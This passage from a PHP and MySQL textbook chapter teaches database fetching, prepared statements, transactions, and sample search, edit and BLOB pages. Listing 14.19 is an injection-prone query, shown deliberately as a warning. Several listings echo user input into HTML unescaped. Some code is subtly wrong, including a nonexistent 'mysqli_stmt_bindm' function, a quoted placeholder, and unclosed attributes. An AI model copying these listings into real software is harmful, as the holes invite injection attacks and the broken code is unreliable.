Even though SQL is case-insensitive, PHP is not. The associative array key
references must match exactly the case of the field names in the table. Thus
in the example in Listing 14.13, the reference $row['Id'] would generate an
error since the field is defined as “ID” in the table.

The PDO query() method returns an object of type PDOStatement.



Interestingly, PDOStatement objects behave just like an array when passed
into a foreach loop. That means the following loop would be equivalent to
that shown in Listing 14.13:

foreach ($result as $row) { 

  echo $row[0] . “ - ” . $row[1] . “<br/>”; 

}

Fetching using the older mysqli extension is more varied in that there are
several different fetch functions, which are listed in Table 14.2.

Table 14.2 Fetch Functions
Type Description

mysqli_fetch_all()
Fetches all result rows as an associative
array, a numeric array, or both.

mysqli_fetch_array()
Fetches a result row as an associative
array, a numeric array, or both.

mysqli_fetch_assoc()
Fetches a result row as an associative
array.

mysqli_fetch_field()

Returns the next field in the result set.
That is, it returns definition information
about a single table column (not its data).

mysqli_fetch_fields()
Returns an array of objects representing
the fields in a result set.

mysqli_fetch_object()
Returns the current row of a result set as
an object.

mysqli_fetch_row() Gets a result row as a numeric array.

Fetching into an Object
As an alternative to fetching into an array, you can fetch directly into a
custom object and then use properties to access the field data. For instance,
let us imagine we have the following (very simplified) class:



class Book { 

    public $ID; 

    public $Title; 

    public $CopyrightYear; 

    public $Description; 

 }

We can then have PHP populate an object of type Book as shown in Listing
14.14.

Listing 14.14 Populating an object
from a result set (PDO)
$sql = “SELECT * FROM Books”; 

$result = $pdo->query($sql); 

 

// fetch a record into an object of type Book 

while (  $b = $result->fetchObject('Book')  ) { 

    // the property names match the field names from the table 

    echo 'ID: ' .  $b->ID  . '<br/>'; 

    echo 'Title: ' .  $b->Title  . '<br/>'; 

    echo 'Year: ' .  $b->CopyrightYear  . '<br/>'; 

    echo 'Description: ' .  $b->Description  . '<br/>'; 

    echo “<hr>”; 

}

While convenient, this approach does have a key limitation: the property
names must match exactly (including the case) the field names in the table(s)
in the query. A more flexible object-oriented approach would be to have the
Book object populate its own properties from the record data passed in the
object constructor, as shown in Listing 14.15. Notice that using this approach
means the class property names do not have to mirror the field names.

Listing 14.15 Letting an object
populate itself from a result set



class Book { 

    public $id; 

    public $title; 

    public $year; 

    public $description; 

 

    function __construct($record) 

    { 

       $this->id = $record['ID']; 

       $this->title = $record['Title']; 

       $this->year = $record['CopyrightYear']; 

       $this->description = $record['Description']; 

    }      

} 

… 

// in some other page or class 

$sql = “SELECT * FROM Books”; 

$result = $pdo->query($sql); 

 

// fetch a record normally 

while ( $row = $result->fetch() ) { 

    $b = new Book($row); 

    echo 'ID: ' .  $b->id  . '<br/>'; 

    echo 'Title: ' .  $b->title  . '<br/>'; 

    echo 'Year: ' .  $b->year  . '<br/>'; 

    echo 'Description: ' .  $b->description  . '<br/>'; 

    echo “<hr>”; 

}

It should be noted that this is a very simplified example. Rather than pass the
Book object the associative array returned from the fetch(), the Book might
instead invoke some type of database helper class, thereby removing all the
database code from the PHP page. This is a much preferred option as it
greatly simplifies the markup. We will in fact code something similar to that
later in Chapter 17.

14.6.5 Freeing Resources and
Closing Connection
When you are finished retrieving and displaying your requested data, you
should release the memory used by any result sets and then close the



connection so that the database system can allocate it to another process.
Listing 14.16 illustrates the code for closing the connection in both mysqli
and PDO approaches.

Listing 14.16 Closing the connection
// mysqli approach 

$connection = mysqli_connect($host, $user, $pass, $database); 

$result = mysqli_query($connection, “SELECT … FROM …”); 

… 

// release the memory used by the result set. This is necessary if

// you are going to run another query on this connection 

mysqli_free_result($result); 

… 

// close the database connection 

mysqli_close($connection); 

// PDO approach 

$pdo = new PDO($connString,$user,$pass); 

… 

// closes connection and frees the resources used by the PDO object

$pdo = null;

Many programmers do not explicitly code this step since it will happen
anyway behind-the-scenes when the PHP script has finished executing.
Nonetheless, it makes sense to get into the habit of explicitly closing the
connection immediately after your script no longer needs it. Waiting until the
entire page script has finished might not be wise since over time functionality
might get added to the page, which lengthens its execution time. For instance,
imagine a page that displays information from a database and which doesn't
explicitly close the connection but relies on the implicit connection closing
once the script finishes execution. Then at some point in the future, new
functionality gets added; this new functionality displays information obtained
from a third-party web service. This externality has a time cost which means
the page takes longer to finish executing. That connection is now wasting
finite server resources (that could be helping other requests), since the
database processing is finished, but the page script has not finished executing
due to the delay incurred by this external service. For this reason, it is a good
practice to explicitly close your connections.



14.6.6 Working with Parameters
You may recall that not all SQL statements return data. INSERT, UPDATE,
and DELETE statements instead perform an action on the data. Listings
14.17 and 14.18 illustrate an example update query. Notice that in the PDO
version a different method is used for such queries, namely the exec()
method, and that it behaves somewhat differently than the mysqli_query()
function in the mysqli version.

Listing 14.17 Executing a query that
doesn't return data (PDO)
$sql = “UPDATE Categories SET CategoryName='Web' WHERE

CategoryName='Business'”; 

$count = $pdo->exec($sql); 

echo “<p>Updated ” . $count . “ rows</p>”;

Listing 14.18 Executing a query that
doesn't return data (mysqli)
$sql = “UPDATE Categories SET CategoryName='Web' WHERE

CategoryName='Business'”; 

if ( mysqli_query($connection, $sql) ) { 

   $count = mysqli_affected_rows($connection); 

   echo “<p>Updated ” . $count . “ rows</p>”;  

}

Integrating User Data
The example queries in the previous two listings used hard-coded string
literals. While this perhaps helped us understand how to use the appropriate
API functions, it is hardly realistic. One of the most common database



scenarios is that you have to run a query that uses some type of user input
contained within a query string parameter, as shown in Figure 14.24 .

Figure 14.24 Integrating user
input data into a query

Figure 14.24 Full Alternative Text

You might be tempted to perform this task in a way similar to that shown in
Listing 14.19.

Listing 14.19 Integrating user input



into a query (first attempt)
$from = $_POST['old']; 

$to = $_POST['new']; 

$sql = “UPDATE Categories SET CategoryName='$to' WHERE           

        CategoryName='$from'”; 

$count = $pdo->exec($sql);

While this does work, it opens our site to one of the most common web
security attacks, the SQL injection attack. In this attack, a devious (or
curious) user decides to enter a SQL statement into a form's text box (or
indeed directly into any query string). As you will see later in Chapter 18 on
Security, the SQL injection attack is quite common and can be incredibly
dangerous to a site's database.

Sanitizing User Data
The SQL injection class of attack can be protected against in a number of
ways, the simplest of which is to sanitize user data before using it in a query.
Sanitization uses functions built into database systems to remove any special
characters from a desired piece of text. In MySQL, user inputs can be partly
sanitized in PHP using the mysqli_real_escape_string() method or, if
using PDO, the quote() method. However, these methods are only partially
reliable; it is recommended that you use prepared statements instead.

Prepared Statements
To fully protect the site against SQL injection attacks you should go beyond
basic user-input sanitization. The most important (and best) technique is to
use prepared statements. A prepared statement is actually a way to improve
performance for queries that need to be executed multiple times. When
MySQL creates a prepared statement, it does something akin to a compiler in
that it optimizes it so that it has superior performance for multiple requests. It
also integrates sanitization into each user input automatically, thereby



protecting us from SQL injection.

Hands-on Exercises Lab 14
Exercise
Prepared Statements

Listing 14.20 illustrates two ways of explicitly binding values to parameters
using PDO. At first glance it looks more complicated. The most important
thing to notice is that there are two different ways to construct a
parameterized SQL string. The first method uses a question mark as a
placeholder that will be filled later when we bind the actual data into the
placeholder.

Listing 14.20 Using a prepared
statement (PDO)
// retrieve parameter value from query string 

$id = $_GET['id']; 

 

/* method 1 - notice the ? parameter */ 

$sql = “SELECT Title, CopyrightYear FROM Books WHERE ID = ?”; 

$statement = $pdo->prepare($sql); 

$statement->bindValue(1, $id); // bind to the 1st ? parameter 

$statement->execute(); 

 

/* method 2 */ 

$sql = “SELECT Title, CopyrightYear FROM Books WHERE ID = :id”; 

$statement = $pdo->prepare($sql); 

$statement->bindValue(':id', $id); 

$statement->execute();

The second approach to binding values uses a named parameter which
assigns labels in prepared SQL statements which are then explicitly bound to
variables in PHP. The advantage of the named parameter will be more



apparent once we look at an example that has many parameters, such as the
INSERT query in Listing 14.21. If you look carefully, there is actually a
mistake/bug in the first technique, which uses question marks in Listing
14.21. Can you find it?

Listing 14.21 Using named
parameters (PDO)
/* technique 1 - question mark placeholders, explicit binding */ 

$sql = “INSERT INTO books (ISBN10, Title, CopyrightYear, ImprintId, 

        ProductionStatusId, TrimSize, Description) VALUES (?,?,?,?,

        ?,?,?)”; 

$statement = $pdo->prepare($sql); 

$statement->bindValue(1, $_POST['isbn']); 

$statement->bindValue(2, $_POST['title']); 

$statement->bindValue(3, $_POST['year']); 

$statement->bindValue(4, $_POST['imprint']); 

$statement->bindValue(4, $_POST['status']); 

$statement->bindValue(6, $_POST['size']); 

$statement->bindValue(7, $_POST['desc']); 

$statement->execute(); 

 

/* technique 2 - named parameters */ 

$sql = “INSERT INTO books (ISBN10, Title, CopyrightYear, ImprintId, 

        ProductionStatusId, TrimSize, Description) VALUES (:isbn,

        :title, :year, :imprint, :status, :size, :desc) ”; 

$statement = $pdo->prepare($sql); 

$statement->bindValue(':isbn', $_POST['isbn']); 

$statement->bindValue(':title', $_POST['title']); 

$statement->bindValue(':year', $_POST['year']); 

$statement->bindValue(':imprint', $_POST['imprint']); 

$statement->bindValue(':status', $_POST['status']); 

$statement->bindValue(':size', $_POST['size']); 

$statement->bindValue(':desc', $_POST['desc']); 

$statement->execute();

Did you find the bug? The problem is in the following lines:

$statement->bindValue(4, $_POST['imprint']); 

$statement->bindValue(4, $_POST['status']); 

$statement->bindValue(6, $_POST['size']);



As I was writing the code (or perhaps copying and pasting) I forgot to change
the parameter index number for status. This type of problem is especially
common if at some future point the query has to be modified by changing or
removing a parameter. The person making this change will have to count the
question marks to see if the parameter is, for instance, the seventh or eighth
or ninth parameter … clearly not an ideal approach. For this reason the
named parameter technique with explicit binding is generally preferred.

The mysqli approach to prepared statements is similar to that used by PDO
(except only question marks are accepted as placeholders) and is shown in
Listing 14.22.

Listing 14.22 Using a prepared
statement (mysqli)
// retrieve parameter value from query string 

$id = $_GET['id']; 

// construct parameterized query - notice the ? parameter 

$sql = “SELECT Title, CopyrightYear FROM Books WHERE ID=?”; 

// create a prepared statement 

if ($statement = mysqli_prepare($connection, $sql)) { 

   // bind parameters s - string, b - blob, i - int, etc  

   mysqli_stmt_bindm($statement, 'i', $id); 

   // execute query  

   mysqli_stmt_execute($statement); 

   … 

}

Note
While the authors strongly recommend explicitly binding parameters to
placeholders using the bindValue function, there is another technique worth
knowing of where you implicitly bind values to placeholders by passing an
array to the prepared statement to execute.

Using implicit binding, both the named and ? placeholder techniques from



Listing 14.20 can be rewritten as follows:

/* method 1 - ? parameters, implicit binding */ 

$sql = “SELECT Title, CopyrightYear FROM Books WHERE ID = ?”; 

$statement = $pdo->prepare($sql); 

$statement->execute(array($id));  //values match ?s sequentially

/* method 2 - named parameters, implicit binding */ 

$sql = “SELECT Title, CopyrightYear FROM Books WHERE ID = :id”; 

$statement = $pdo->prepare($sql); 

$statement->execute(array(“id” => $id)); //keys match sql labels

14.6.7 Using Transactions
While transactions are unnecessary when retrieving data, they should be used
for most scenarios involving any database writes. As mentioned back in
Section 14.2.3, transactions in PHP can be done via SQL commands or via
the database API. Since the earlier section covered the SQL commands for
transactions, let's look at the techniques using our two APIs. Listing 14.23
demonstrates how to make use of transactions in the mysqli procedural
approach.

Listing 14.23 Using transactions
(mysqli extension)
$connection = mysqli_connect($host, $user, $pass, $database); 

// …  

/*  set autocommit to off. If autocommit is on, then mysql will commit (i.e., make the data change permanent) each command after it is executed  */

mysqli_autocommit($connection, FALSE); 

/* insert some values */ 

$result1 = mysqli_query($connection,  

   “INSERT INTO Categories (CategoryName) VALUES ('Philosophy')”);

$result2 = mysqli_query($connection,  

   “INSERT INTO Categories (CategoryName) VALUES ('Art')”); 

if ($result1 && $result2) { 

   /* commit transaction */ 

   mysqli_commit($connection); 

} 

else { 



   /* rollback transaction */ 

   mysqli_rollback($connection); 

}

Listing 14.24 demonstrates the same functionality; the object-oriented
approach of the PDO provides cleaner code.

Listing 14.24 Using transactions
(PDO)
$pdo = new PDO($connString,$user,$pass); 

// turn on exceptions so that exception is thrown if error occurs 

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 

// … 

try { 

    // begin a transaction 

    $pdo->beginTransaction(); 

    // a set of queries: if one fails, an exception will be thrown

    $pdo->query(“INSERT INTO Categories (CategoryName) VALUES     

                ('Philosophy')”); 

    $pdo->query(“INSERT INTO Categories (CategoryName) VALUES ('Art')”);

    // if we arrive here, it means that no exception was thrown 

    // which means no query has failed, so we can commit the 

    // transaction 

    $pdo->commit(); 

} catch (Exception $e) { 

    // we must rollback the transaction since an error occurred 

    // with insert 

    $pdo->rollback(); 

}

Extended Example
One of the most common database tasks in PHP is to display a list of links
(i.e., a series of <li> elements within a <ul>). Typically the text of the link is
taken from a text field in a table, while the primary key for that table is
passed as a query string to some other page.



In this example, the page is expecting a continent abbreviation passed as a
query string; if it is missing, it defaults to EU (Europe) as the continent. It
then connects to the Travels database (see Figure 14.25 for database schema),
and runs the query (select all the countries from the requested continent).
Because the page is using a user-supplied value (the query string parameter),
to protect the page from SQL injection attacks, it must use a prepared
statement. The page also makes use of a helper function that loops through
the returned results, outputting the country data as links within a list.

Figure 14.25 Travel Photo
database schema

Figure 14.25 Full Alternative Text

The markup generated by this code will look like the following (with
database content indicated in red):

<ul>



    <li><a href=“country.php?iso=AI”>Anguilla</a></li>

    <li><a href=“country.php?iso=AG”>Antigua and Barbuda</a></li>

    <li><a href=“country.php?iso=AW”>Aruba</a></li>

    <li><a href=“country.php?iso=BS”>Bahamas</a></li>

    <li><a href=“country.php?iso=BB”>Barbados</a></li>

    …

</ul>





14.6-3 Full Alternative Text



14.7 Case Study Schemas
This book has been using three ongoing case studies. Each has an included
database and differs in the complexity of its design. In the below sections the
schema (i.e., the tables and their relationships) of each case study is briefly
described. You will notice that for two of the databases there is a simplified
schema and a more comprehensive schema.

14.7.1 Travel Photo Sharing
Database
The Travel Photo Sharing database is the simplest database and contains the
fewest records. Figure 14.25 illustrates the schema of the Travel database.

14.7.2 Art Database
While the comprehensive version of the Art database has quite a large
number of tables, many of the tables are only used if one wanted to
implement an art store. If you instead just wanted to create an art gallery site,
then you would only need to use the tables not marked by a red triangle.
Figure 14.26 contains the schema of the Art database; the tables marked with
the red triangle are only included in the comprehensive version. The separate
large-comprehensive version includes as well the Visits table. This table
contains 50,000 records that simulate site analytic information; since the
import file for this data is quite large, you should use this version only if you
want to make use of this analytic data.



Figure 14.26 Art database
schema

Figure 14.26 Full Alternative Text



14.7.3 Book CRM Database
The Book CRM (also called CRM Admin) database is a better-designed
database in that it is more normalized. Database normalization refers to the
process of designing the tables and fields within a database to minimize data
duplications and dependencies. While it has tables related to the customer
relations management aspect of the case, if one wanted to create a simpler
book display site, then one would only need to use a few of the tables. Figure
14.27 contains the schema of the Book CRM database; the tables marked
with the red triangle are only included in the comprehensive version. Like
with the Art database, the comprehensive version includes a BookVisits
table that contains a large number of simulated analytics data.



Figure 14.27 Book CRM
database schema

Figure 14.27 Full Alternative Text



14.8 Sample Database Techniques
While there are practically an unlimited number of things that one can do
with databases in PHP, in practice most sites tend to perform fairly similar
database tasks (often over and over again). Through the example of a single
web page, this section will provide a set of example recipes for some of the
most common database display tasks in PHP.

Note
The focus in this section is on the basic algorithms. As a consequence, the
code is not nearly as well designed and modular as we would prefer in a real
site. In Chapter 17, we will examine and partly implement a better-designed
class infrastructure.

14.8.1 Search and Results Page
Another common database task in PHP is to perform some type of search for
content and then display matches. This could be as sophisticated as the
master search facility on a site, or it could be as simple as filtering query
content based on user input.

In this example, we will assume that there is a text box with the name
txtSearch in which the user enters a search string along with a Submit
button. The data that we will filter is the Book table; we will display any book
records that contain the user-entered text in the Title field. We will display
any matching records in an HTML table. Figure 14.28 illustrates how this
example works from the user's perspective.



Figure 14.28 Search results
page example



Figure 14.28 Full Alternative Text

When you look at the solution for this example, you may be excited (or
perhaps disappointed) in how straightforward it is. All the real work is done
by the DBMS and the SQL LIKE operator. In the following code snippet, you
will notice that it adds the SQL wildcard character (“%”) to the beginning
and end of the search text; thus it will return any appearance of the search
text anywhere within the title field.

// add SQL wildcard characters to search term 

$searchFor = '%' . $_GET['txtSearch'] . '%'; 

$sql = “SELECT * FROM Books WHERE Title  Like  ?”; 

$statement = $pdo->prepare($sql); 

$statement->bindValue(1, $searchFor); 

$statement->execute();

The above code is essentially the solution!

Pro Tip
The LIKE operator can generate queries that are very demanding on the
database, even if indexes are correctly created on the search column. When a
wildcard is placed at the beginning of a query, then every single record for
that field must be compared against. That is because the indexes on strings
are created from left to right, so no efficient search can happen. With
thousands of records, websites must build a reverse index of terms rather than
permit an O(n) search to take place each time someone wants to search the
site.

There are a few additions we will want to add, however, to handle the
redisplay of the search term (and then to reduce code duplication). To
redisplay the user's search term within the text box, we will need something
similar to the following:

<input type=“search”  

      name=“txtSearch”  

      placeholder=“Enter search string”  

      value=“<?php  echo $_GET['txtSearch'];  ?>”  />



Looking at this code you may be feeling somewhat uncomfortable about the
duplication of the string txtSearch—it shows up twice in this code fragment
and once again when we constructed the SQL string. This is clearly a place
where PHP constants and functions can eliminate the code duplication and
make our code more maintainable, as can be seen in Listing 14.25 (some
code and markup omitted).

This now looks better. Listing 14.25 eliminated the duplicate code and
markup, but as one of the comments indicated, there is still a problem. You
would certainly discover the problem if you tried to run this code. You would
see something similar to that shown in Figure 14.29 .

Figure 14.29 Problems with
Listing 14.25

Figure 14.29 Full Alternative Text



Listing 14.25 Partial solution to
search results page (search-
results.php)
<?php 

 

// defines a constant for query string parameter name 

define('SEARCHBOX', 'txtSearch'); 

 

// define a function to return the value of the search parameter 

function getSearchFor() 

{ 

   // this function is missing something … do you know what it is?

   return $_GET[SEARCHBOX]; 

} 

 

function getDB() 

{ 

   … 

   $pdo = new PDO($connString,$user,$pass); 

   $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 

   return $pdo; 

} 

function getResults() 

{   

   try { 

      $db = getDB(); 

 

      // add SQL wildcard characters to search term  

      $searchFor = '%' . getSearchFor() . '%'; 

 

      $sql = “SELECT * FROM Books WHERE Title Like ?”; 

      $statement = $db->prepare($sql); 

      $statement->bindValue(1, $searchFor); 

      $statement->execute(); 

      return $statement; 

   } 

   catch (PDOException $e) { 

      die($e->getMessage()); 

   } 

} 

?> 



<html> 

<body> 

<form method=“get” action=“search-results.php” > 

   <fieldset> 

      <legend>Search Title</legend> 

      <input type=“search”  

             name=“<?php  echo SEARCHBOX;  ?>”  

             placeholder=“Enter search string”  

             value=“<?php  echo getSearchFor();  ?>”  /> 

      <input type=“submit” /> 

   </fieldset> 

</form> 

<table border=“1”> 

<?php  

if (! empty($_GET[SEARCHBOX]) && $result = getResults() ) { 

  while ($row = $result->fetch()) { 

?> 

    <tr> 

      <td><?php echo $row['ISBN10']; ?></td> 

      <td><?php echo $row['Title']; ?></td> 

      <td><?php echo $row['CopyrightYear']; ?></td> 

   </tr> 

<?php 

   } 

}  ?> 

</table> 

</body> 

</html>

The problem is encountered the very first time the page is requested, that is,
when there is no query string parameter named txtSearch. The parameter
doesn't appear until after the user enters a search string and clicks the Submit
button. You may recall from Chapter 9 that there is a simple solution to this
problem, namely, using the isset() function to see if the query sting
parameter exists. The solution is shown in Listing 14.26.

Listing 14.26 Solution to search
results page problem
function getSearchFor() 

{ 



   $value = “”; 

   if (isset($_GET[SEARCHBOX])) { 

      $value = $_GET[SEARCHBOX];  

   } 

   return $value; 

}

14.8.2 Editing a Record
Our next sample database example is a record editor. Many sites require the
ability to display the contents of a record in a form and then save any changes
that the user makes to that form data. Typically this means the form must be
populated with existing record data when the page is first displayed. Note that
the page needs logic to both save and retrieve data. Figure 14.30 illustrates
the program flow.



Figure 14.30 Program flow in
record editor

Figure 14.30 Full Alternative Text

This program flow as implemented in the following example is visualized in
Figure 14.31 .





Figure 14.31 Program flow of
record editor form

Figure 14.31 Full Alternative Text

Here we will focus on the form editor page. This type of page can quickly
become overly convoluted with many conditional checks and duplicated
code. To help in that regard, this page will make use of the simple Author
class shown in Listing 14.27. To reduce the amount of code shown in the
listing, it uses public properties; in a real-world situation we would likely add
the appropriate getter and setter methods.

Listing 14.27 Author class
<?php 

class Author { 

 

   public $id = “”; 

   public $firstName = “”; 

   public $lastName = “”; 

   public $institution = “”; 

   function __construct($id,$first,$last,$institute) { 

      $this->id = $id; 

      $this->firstName = $first; 

      $this->lastName = $last; 

      $this->institution = $institute; 

   } 

   // Returns true if this is a new author, false otherwise  

   function isNew() { 

      if (empty($this->id) ) 

         return true; 

      else 

         return false; 

   } 

} 

?> 



To implement the algorithm shown in Figure 14.30 , we will encapsulate it
within a single function called processAuthorFormInfo(), which is shown in
Listing 14.28 (this function is not part of the Author class). Notice that we
have translated the conditions in Figure 14.29 quite literally into functions,
thereby making the code clearer.

The various helper functions (which, like the previous function, are not part
of any class) used in Listing 14.28 are shown in Listing 14.29.

Finally, we can make use of these functions in the actual authorForm.php
page. This page is shown in Listing 14.30. Some of the markup and styling
has been omitted to clarify the PHP elements used in the example. Notice
how the actual markup has little PHP code in it. Also note that a hidden
<input> element is being used to hold the author ID field from the database
table. This is quite a common practice. We often do not need to display this
information to the user (since they really don't care about the primary keys in
our database), but we need it for our PHP processing on a page. The <input
type=“hidden”> element is useful in such situations.

Listing 14.28
processAuthorFormInfo() function
<?php 

function processAuthorFormInfo($pdo) { 

 

   // first let us see if there is any query string information  

   // … if not return empty author object 

   if (!  isThereQueryStringInfo()  ) { 

      return new Author(““,””,““,””); 

   } 

 

   // are we editing an existing author … 

   if (  areEditingExisting()  ) { 

      // since request method is GET, then this is either request for 

      // inserting new or a request to edit if id attribute 

 

      // NOTE: we are assuming ID in query string is ok  

      // (should actually test it in real site) 

      $which = $_GET['which']; 



    

      // retrieve data from database 

      return retrieveAuthor($pdo, $which);     

   } 

   // … or are we saving an author 

   if (  areSaving()  ) {  

      // if here then saving a record 

 

      // we are going to use the existence of an ID querystring to

      // determine whether we should be inserting or updating  

 

      $id = “”; 

      if ( isset($_POST['id']) ) { 

         $id = $_POST['id']; 

      } 

      $author = saveAuthor( $pdo, $id, $_POST['firstname'],  

                    $_POST['lastname'], $_POST['institution'] ); 

      return $author; 

   } 

} 

?>

Listing 14.29 Helper functions for
Listing 14.28
/* 

   Checks if there is any query string information passed in GET or POST

*/ 

function  isThereQueryStringInfo()  { 

   if ( areEditingExisting() ) { 

      return true; 

   } 

   if ( areSaving() ) { 

      return true; 

   } 

   return false; 

} 

/*  

   Checks if query string info tells us whether we are editing  

   existing author  

*/ 

function  areEditingExisting()   { 

   if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['which'])) {



      return true; 

   } 

} 

/*  

   Checks if query string info tells us whether we are saving author info

*/ 

function  areSaving()  { 

   if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_  

      POST['firstname']) &&  

          isset($_POST['lastname']) ) { 

      return true; 

   } 

} 

/* 

   Actually perform the database insert or update  

*/ 

function  saveAuthor($pdo, $id, $first, $last, $institute) 

{ 

   $GLOBALS['updateStatus'] = ''; 

   $author = new Author($id, $first, $last, $institute); 

 

   // set up sql statement and page's message 

   if ( $author->isNew() ) 

   { 

      $sql = “INSERT INTO authors (FirstName,LastName,Institution) 

                VALUES (:first,:last,:institute)”; 

      $GLOBALS['saveMessage'] = 'Added new '; 

   } 

   else { 

      $sql = “UPDATE authors SET FirstName=:first,LastName=:last, 

                Institution=:institute WHERE ID=:id”;  

      $GLOBALS['saveMessage'] = 'Edited existing '; 

   } 

 

   // setup the parameters for the query 

   $statement = $pdo->prepare($sql); 

   $statement->bindValue(':first', $first); 

   $statement->bindValue(':last', $last); 

   $statement->bindValue(':institute', $institute); 

   if ( ! $author->isNew() ) $statement->bindValue(':id', $id); 

 

   // execute the query 

   $statement->execute();  

 

   // retrieve auto generated id if this was an insert and update 

   // author object 

   if ( $author->isNew() ) { 

      $author->id = $pdo->lastInsertId(); 



   } 

   return $author; 

} 

 

/*  

   Retrieve a populated author from the database  

*/ 

function  retrieveAuthor($pdo, $id) 

{ 

   $sql = “SELECT * FROM Authors WHERE ID=:id”; 

   $statement = $pdo->prepare($sql); 

   $statement->bindValue(':id', $id); 

   $statement->execute(); 

   $row = $statement->fetch(PDO::FETCH_ASSOC); 

   return new Author($row['ID'], $row['FirstName'], $row['LastName'], 

                     $row['Institution']); 

}

Listing 14.30 authorForm.php page
<?php 

// initialize page globals 

require_once('includes/config-books.inc.php'); 

require_once('includes/Author.class.php'); 

// class name for hiding a <div>  

$GLOBALS['updateStatus'] = 'hide'; 

// the message to be displayed after saving 

$GLOBALS['saveMessage'] = ''; 

 

try { 

   // set up the PDO connection to database 

   $pdo = new PDO(DBCONNECTION,DBUSER,DBPASS); 

   $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 

 

   // perform the algorithm and return populated Author object 

   $author = processAuthorFormInfo($pdo); 

 

   // change form Submit button text based on author object 

   if ( $author->isNew() ) { 

      $buttonText = 'Add'; 

   } 

   else { 

      $buttonText = 'Edit'; 

   } 

} 



catch (PDOException $e) { 

   die( $e->getMessage() ); 

} 

… 

?> 

<!DOCTYPE html> 

<html> 

<head lang=“en”> 

… 

<form class=“form-horizontal”  method=“post” action=“authorForm.php”

   <fieldset> 

   <legend>Author Form</legend> 

   <input type=“hidden” name=“id” value=“<?php echo $author->id ?>

   <label>First Name</label> 

   <input type=“text” name=“firstname”  

       placeholder=“Enter first name” 

       value=“  <?php echo $author->firstName; ?>”> 

   <label>Last Name</label> 

   <input type=“text” name=“lastname” 

       placeholder=“Enter last name” 

       value=“<?php echo $author->lastName; ?>”> 

   <label>Institution</label> 

   <input type=“text” name=“institution”  

            placeholder=“Enter Institution”  

            value=“<?php echo $author->institution; ?>”> 

   <button type=“submit” > 

   <?php echo $buttonText; ?> 

   </button> 

  </fieldset> 

</form> 

 

<div class=“alert alert-info  <?php echo $GLOBALS['updateStatus']; ?>

<p>  <?php echo $GLOBALS['saveMessage']; ?>  author</p> 

</div>

14.8.3 Saving and Displaying Raw
Files in the Database
Our final sample database example is a page that allows a user to upload an
image file and then save it within a BLOB field. Chapter 12, in the section on
the $_FILES superglobal array, described how file data can be transferred
from the browser using the <input type=“file”> element along with the



enctype=“multipart/form-data” attribute in the <form> element. The final
example in that section simply moved the uploaded file into a location on the
server. However, in many database-driven websites, we also have the option
to store information about the uploaded file within a database table, and
indeed, even store the file itself in the database.

Hands-on Exercises Lab 14
Exercise
Reading and Storing

BLOB Data

For instance, in the example database from the Travel Photo database (see
Figure 14.27 ), there is a table named TravelImage that has a field named
Path, which can contain the path of an image (if storing it on the server's file
system). How this field would be used in conjunction with file/image
uploading is shown in Figure 14.32 .



Figure 14.32 Storing file
location in the database

Figure 14.32 Full Alternative Text

This separation of the file content from the database records is advantageous
for performance reasons and for a smaller database backup, but can make



backing up the entire site more complicated. Some hosts can impose
limitations on the number of files in a user folder. More worryingly, it is
possible for the database and the file system to get out of sync: for instance,
by someone deleting or renaming a file that is referenced in the database.

The alternate approach is to store uploaded files directly within a database. In
our TravelImage example, there is a field named ImageContent, which can
store the actual binary data of the image. This type of field is often referred to
as a BLOB field for binary large object. The process for this approach is
shown in Figure 14.33 .



Figure 14.33 Using BLOBs to
store image data

Figure 14.33 Full Alternative Text

Storing file content within a database directly has some advantages and
disadvantages. The advantages include an easier backup and easier portability
from location to location. The downside is that all that data can make the
SQL backup quite large. As well, MySQL performance decreases as BLOB
sizes increase.

Storing Blob Data
BLOB fields can be used to store binary data in a MySQL database table.
Listing 14.31 shows the code to read a file into memory and store it to the
database.

In practice, we are not reading data from a file on the server, but rather
reading data from a user-uploaded file. We leave it as a task to the reader to
integrate BLOB writing into a file upload script. Hint: The uploaded file
already exists as a string.

Listing 14.31 Code to save file
contents in a BLOB field
$fileContent = file_get_contents(“someImage.jpg”); 

$sql = “INSERT INTO TravelImage (ImageContent) VALUES(':data')”; 

 

$statement = $pdo->prepare($sql);  

$statement->bindParam(':data', $fileContent, PDO::PARAM_LOB); 

$statement->execute();



Displaying BLOBs from the
Database
When you store raw data in your database rather than store the files on the
server directly, there is an additional step required to get those files seen by
the end user. As illustrated in Figure 14.34 , there must be a PHP script to
pull the data from the database and show it to the user (labeled getImage.php
in the illustration). Listing 14.32 shows exactly that code.

Figure 14.34 Output of raw
data without the correct



headers being sent, rather than
the image (inset)

Listing 14.32 Code to fetch and echo
BLOB image
// retrieve blob content from database 

$sql = “SELECT * FROM TravelImage WHERE ImageID=:id”; 

$statement = $pdo->prepare($sql); 

$statement->bindParam(':id', $_GET['id']); 

$statement->execute(); 

 

$result = $statement->fetch(PDO::FETCH_ASSOC); 

if ($result) { 

   // Output the MIME header 

   header(“Content-type: image/jpeg”); 

   // Output the image 

   echo ($result[“ImageContent”]); 

}

The only complicated part is that we are sending HTTP headers to the user
before echoing out the raw data. Omitting that header will cause the data to
be interpreted as HTML and display right in the browser, including
unprintable characters as shown in Figure 14.34 .

The use of a script like that in Listing 14.32 can then be integrated into
HTML image tags by pointing the src attribute of an <img> to
getImage.php?id=X, where X is the ID of the image you want to show.
Where you may formerly have had a link to a file location such as:

<img src=“/images/Author280.jpg”/>

It would now reference a dynamic PHP script and look like:

<img src=“getImage.php?id=280”/>



14.9 Chapter Summary
In this chapter we have covered a wide breadth of database concepts that are
essential to the modern web developer. From the principles of relational
databases we learned about tables, fields, data types, primary and foreign
keys, and more. You then saw how Structured Query Language (SQL)
defines the complete set of interactions for those relational databases and how
it is used to insert, update, and remove content. We introduced the concept of
indexes to help address efficiency concerns as well as transactions to ensure
data integrity. Although we only brushed over the data structures that support
efficient operation, we learned how searches can happen in logarithmic
instead of linear time. Finally, we explored some management tools and
discussed how you integrate MySQL into your own scripts, with some
sample scripts illustrating common operations.

14.9.1 Key Terms
abstraction layer

aggregate functions

binary tree

BLOB

column store

composite key

connection

connection string

database



database API

data integrity

data definition language (DDL)

data duplication

data manipulation language

database normalization

distributed transactions

document stores

field

foreign key

hash table

index

inner join

join

key-value stores

local transactions

many-to-many relationship

MySQL

named parameter

No-SQL database



object-oriented API

one-to-many relationship

one-to-one relationship

